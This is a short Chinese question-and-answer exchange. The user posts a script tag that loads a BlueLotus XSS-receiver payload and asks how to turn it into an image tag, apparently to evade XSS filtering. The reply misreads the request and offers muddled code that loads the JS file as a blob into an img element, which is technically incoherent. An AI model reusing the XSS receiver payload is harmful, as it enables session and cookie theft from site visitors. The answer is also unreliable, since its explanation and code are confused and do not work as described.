<script src="http://127.0.0.1/BlueLotus_XSSReceiver-master%20/myjs/default.js"></script>怎么将该语句更换成image标签？

将包含JavaScript脚本的`<script>`标签转换为显示图像的`<img>`标签，通常是出于防止跨站脚本攻击（XSS）的目的。但是，直接这样做是无效的，因为浏览器不会解析`<img>`标签中的JavaScript。如果你的目标是加载外部资源，应该使用`<img>`标签的`src`属性来指向实际的图片文件，而不是一个指向JS文件的地址。

对于你给出的这个例子，`<script>`标签加载的是一个名为"default.js"的本地文件，如果你想用它来显示图片，你需要先下载文件，然后将其转换为合适的图片格式（如`.jpg`, `.png`等），再使用`<img>`标签引用它。例如：

<img id="myImage" src="" alt="默认图片">
<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'http://127.0.0.1/BlueLotus_XSSReceiver-master/myjs/default.js');
    xhr.responseType = 'blob';
    xhr.onload = function() {
        var urlCreator = window.URL || window.webkitURL;
        var imageUrl = urlCreator.createObjectURL(xhr.response);
        document.getElementById('myImage').src = imageUrl;
    };
    xhr.send();
</script>

在这个示例中，我们首先创建一个XMLHttpRequest请求获取JS文件，然后获取响应的Blob对象，最后通过`createObjectURL`方法将其转化为URL赋值给`<img>`的`src`。

然而，再次强调，这不是一个常规做法，因为通常情况下不应该尝试通过`<img>`标签加载和运行非图片内容的脚本。